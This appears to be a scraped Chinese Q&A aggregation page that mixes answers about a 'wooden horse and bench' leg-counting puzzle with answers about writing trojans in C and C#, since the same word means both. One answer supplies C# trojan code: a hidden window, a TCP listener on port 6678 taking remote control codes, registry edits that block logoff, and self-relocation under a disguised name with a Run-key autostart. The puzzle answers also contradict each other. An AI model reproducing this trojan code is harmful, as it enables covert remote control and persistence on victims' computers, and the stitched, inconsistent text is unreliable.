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木马与板凳问题用c语言解决

发布时间: 2022-08-09 05:43:05

c语言写木马程序原理

原理有很多种,目地就是破坏计算机环境,比如有大量消耗cpu,删除更改你的文件使它失效,纪录你的键盘使用情况,达到一个窃取你密码和账号的的结果,是你在某些网站的内容被其任意篡改,或者让你就算无法正常工作,只要能达到某种破坏你的影响你的计算机的使用,都可以算是病毒。
举个简单的例子,你写的一个程序改变了计算机的时间,比如改成1900年,这个时候很多程序都不能运行,再就是一个病毒的效果,你在用一个死循环消耗cpu,这个时候用户的机子就比较卡,所以也是一个病毒,当然这些都是简单例子,如果要深入学习,仅知道这点点只能当作启蒙

❷ 怎样用c语言破解木马病毒

你想怎么破解……
无论是病毒分析还是破解的话汇编是必须掌握的
当然C也是利器~
C和汇编全都熟悉之后
用OllyDBG反汇编即可查阅和调试病毒
其他需用的工具和知识,可以去“一蓑烟雨”论坛学学,有专门的病毒分析版块
或者“看雪”论坛也是个大牛云集的地方
多学学就好

❸ 数学问题题

假设法:

假设全是木马,那么一共有脚:
3×33=99(个)
比实有脚数少:100-99=1(个)
板凳有:(100-4×1)÷3=32(个)
木马有:33-32=1(个)
答:木马1个,板凳32个。
用方程解:
解:设木马有X个,则板凳有(33-X)个×
4X+3(33-X)=100
4X+99-3X=100
X+99=100
X=1
那么,板凳有:33-1=32(个)
答:木马1个,板凳32个。

❹ C语言:木马板凳三十三,百个腿腿地下翻,求具体编程,感谢大神,定会追加分!

详细说明下,是不是一个是2条腿,一个是4条腿
#include<iostream>
using namespace std;
int main()
{
int m,n,t,g;
cout<<"请输入他们的各自个数和腿的个数:";
cin>>n>>m;
{
t=m/2-n;
g=n-t;
if((t>=0&&g>=0)&&(2*g+4*t==m))
{
cout<<g<<" "<<t<<endl;
}
else
cout<<"Error"<<endl;

}
return 0;
}

❺ 木马和板凳共33只,板凳4只脚,木马3只脚,共100只脚站地,那么请问有多少只木马,有多少只板凳

假设木马和板凳能动:
让他们都抬起2只脚,100-66=34
再让他们抬起一只脚,34-33=1
现在板凳都没有脚了。

由此可知板凳1个,木马33个

一只板凳,32只木马
过程如下:方程法:设木马 x 只
则3x + 4 *(33 - x)= 100
解得x = 32
计算法:假设33只全是木马,则有99条腿
而每个板凳比木马多1条腿 ,且还多余100 - 99条腿
所以有一个板凳,32个木马

❻ c语言可以编个木马吗

要实现木马服务的程序,主要实现以下几个功能:后台的运行(隐藏技术),控制码的接收与注册表的修改,下面对这三方面做介绍:

1、在VC#中,建立一个后台服务程序是很容易的,先建立一个新的C#的Windows应用程序,项目名称自定(不过为了隐藏可使用与系统相近的名称),将窗体属性“ShowInTaskbar”属性设为false,让它运行时不会在任务栏中显示,并将属性“Windowstate”属性设为Mininized即可,这样窗体就可以隐藏运行了。当然你也可以在InitializeComponent()设置,此函数起初始化的作用,在窗体显示前运行,代码如下:

private void InitializeComponent()
{
//
// Form1
//
//窗体显示的起点和大小
this.AutoScaleBaseSize = new System.Drawing.Size(6, 14);
this.ClientSize = new System.Drawing.Size(368, 357);
//窗体名称
this.Name = "Form1";
//设置属性让它后台运行
this.ShowInTaskbar = false;
this.Text = "Form1";
this.WindowState = System.Windows.Forms.FormWindowState.Minimized;
}

2、控制代码的接收,必需在服务程序运行开始就启动,所以侦听线程必需在程序初始化中启动,所以放在窗体的构造函数中,代码注解如下:

public Form1() //窗体的构造函数
{
//
// Windows 窗体设计器支持所必需的
//
InitializeComponent();

//
// TODO: 在 InitializeComponent 调用后添加任何构造函数代码
//加入你的侦听代码
//端口你可以自已设定,我使用了固定的端口
int port =6678;
//System.Net.Sockets.TcpListener是用来在Tcp网络中侦听客户端的
listener = new TcpListener(port);
//启动侦听
listener.Start();
//增加接收控制码的线程,如果要停止线程可以用 Thread.abort()
//reControlCode 是线程启动执行的函数,此函数根据接收的控制
//控制码选取合适的注册表修改函数
Thread thread = new Thread(new ThreadStart(reControlCode));
thread.Start();
}
reControlCode函数如下,完整代码见程序
private void reControlCode()
{
//设置接收套接字,接收listener.AcceptSocket是返回已经接收的客户的请求
socket = listener.AcceptSocket();
//如果连接成功执行
while (socket.Connected)
{
//接收控制码
byte [] by =new byte[6];
int i = socket.Receive(by,by.Length ,0);
string ss = System.Text.Encoding.ASCII.GetString(by);
//根据控制码执行不同的功能

//修改注册表加入编码
switch (ss)
{
case "jiance"://测试连接,返回测试信息
string str ="hjc";
byte [] bytee = System.Text.Encoding.ASCII.GetBytes(str);
socket.Send(bytee,0,bytee.Length,0);
break;
case "zx1000":
//修改注册表函数,自已定义,见下面分析
UnLogOff();
//返回控制消息
retMessage();
break;

case "zx0100":
//修改注册表函数
UnClose();
//返回控制消息
retMessage();
break;
//重复的case功能与前面一样,略掉
default:
break;
}//case
}//while
} //private void reControlCode

3、C#中实现注册表的修改,使用了.NET类库中的System.Microsoft.Win32命令空间,它提供两种类型的类:处理由操作系统引发的事件的类和对系统注册表进行操作的类。下面就可以看到它的用法。这里我做了一个修改注册表的子程序:使计算机不能注销。在这之前先了解注册表,在子键SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer
下面设键值NoLogOff 为 1 即可使计算机无法注销。在下面的函数中用C#实现对注册表的修改:

private void UnLogOff()
{
//得到主机的注册表的顶级节点
Microsoft.Win32.RegistryKey rLocal = Registry.LocalMachine;
//设置一个注册表子键的变量
RegistryKey key1;
try
{
//函数RegistryKey.OpenSubkey(string registrykey,bool canwrite)检索指定的子键
//registrykey是用户指定的键值,canwrite 为true则可修改,默认为fasle不可改
key1 =
rLocal.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
//设置子键的键名,和值
key1.SetValue ("NoLogOff",1);
//关闭打开的子键
key1.Close();
//警告字符串设定
mystr = mystr +"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值Nologoff被修改!请将它置为0!";
}
catch{}
//如果不存在自已建立
if(key1 ==null)
{
try
{
//使用RegistryKey.CreateSubKey(string mystring)函数来建立你需要的子键
RegistryKey key2 = rLocal.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
key2.SetValue("NoLogOff",1);
key2.Close();
mystr = mystr +"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值Nologoff被修改!请将它置为0!";
}
catch{}
}
}

4、在木马程序中还有一个重要的功能就是自我的复制和转移。木马引入被控制的主机时必需自动将木马隐藏在System,System32的目录下以防被发现。转移的代码分析如下,主要实现的功能是将D盘下的木马程序转移到C:\\winnnt\\system\\msdoss.exe,同时换名称。使用的.NET命名空间System.IO,它的作用是允许对数据流和文件进行同步和异步读写。这里我们使用了System.IO.File类。

private void moveCC1()
{
try
{
//函数File.Move(string sourceFileName,string destFileName)起移动文件的作用
//sourceFileName为要移动的文件名,destFileName为文件的新路径
File.Move("C:\\winnnt\\system\\msdoss.exe","d:\\winnt\\system32\\expleror.exe");
}
catch {}
//将新移的木马程序设为自启动.分析和前面一样
try
{
key1 = rLocal.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",true);
key1.SetValue ("microsoftt","d:\\winnt\\system32\\expleror.exe");
key1.Close();
}
catch{}
if(key1 ==null)
{
try
{
RegistryKey key2=rLocal.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");
key1.SetValue ("microsoftt","d:\\winnt\\system32\\expleror.exe");
key1.Close();
}
catch{}
}
} //moveCC1()
按照步骤来就可以得到一个C#木马了..
都给出答案了.可以给分卜?

❼ 如何用C语言制作木马

这个一两句也说不清楚 你首先要有信心去学习c语言,c语言不像vb,要到后期才能看到它的威力,所以要坚持的学下去 希望你能坚持住,教程网上随便一搜索就有了,还有可以去买书 都可以 总之要有耐心 坚持!!

❽ C语言怎么编辑木马啊..推荐本有关系的书吧

上面是我做的木马,代码大概有20000行,可以告诉你,市面是上基本没有这方面的书的,就算是有那么几本也都是说说思路给几行代码,根本没用,做木马你必须要比较深入的了解windows编程winsocket编程,图像界面编程例如(MFC)当然你也可以用c#,delphi来写界面,至于过主动,自启动这都是很值钱的技术,需要你潜心修行。。。如果你是刚有做木马的想法,那么坚持一年,只要你能坚持下来应该是能做出来的